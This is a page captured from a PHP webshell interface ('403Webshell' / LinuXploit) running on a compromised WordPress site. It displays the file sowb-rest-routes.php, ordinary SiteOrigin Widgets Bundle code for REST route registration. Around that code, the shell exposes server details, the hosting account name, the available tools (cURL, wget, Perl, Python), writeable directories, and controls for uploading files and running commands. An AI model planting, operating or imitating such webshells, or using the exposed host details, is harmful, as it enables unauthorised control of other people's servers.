403Webshell
Server IP : 213.186.33.4  /  Your IP : 216.73.216.146
Web Server : Apache
System : Linux webm005.cluster103.gra.hosting.ovh.net 6.18.39-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Tue Jul 21 12:03:15 CEST 2026 x86_64
User : karinebmkh ( 644538)
PHP Version : 8.4.22
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/karinebmkh/www2/wp-content/plugins/so-widgets-bundle/base/inc/routes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/karinebmkh/www2/wp-content/plugins/so-widgets-bundle/base/inc/routes/sowb-rest-routes.php
<?php

/**
 * Handles registering Widgets Bundle custom REST endpoints.
 *
 * Class SiteOrigin_Widgets_Rest_Routes
 */

class SiteOrigin_Widgets_Rest_Routes {
	
	function __construct() {
		
		global $wp_version;
		if ( version_compare( $wp_version, '4.7', '>=' ) && class_exists( 'WP_REST_Controller' ) ) {
			include plugin_dir_path(__FILE__).'siteorigin-widgets-resource.class.php';
			add_action( 'rest_api_init', array( $this, 'register_rest_routes') );
		}
	}
	
	/**
	 * Singleton
	 *
	 * @return SiteOrigin_Widgets_Rest_Routes
	 */
	static function single() {
		static $single;
		
		if( empty($single) ) {
			$single = new self();
		}
		
		return $single;
	}
	
	/**
	 * Register all our REST resources.
	 */
	function register_rest_routes() {
		$resources = array(
			new SiteOrigin_Widgets_Resource(),
		);
		
		foreach ( $resources as $resource ) {
			/* @var WP_REST_Controller $resource */
			$resource->register_routes();
		}
	}
	
}
SiteOrigin_Widgets_Rest_Routes::single();

Youez - 2016 - github.com/yon3zu
LinuXploit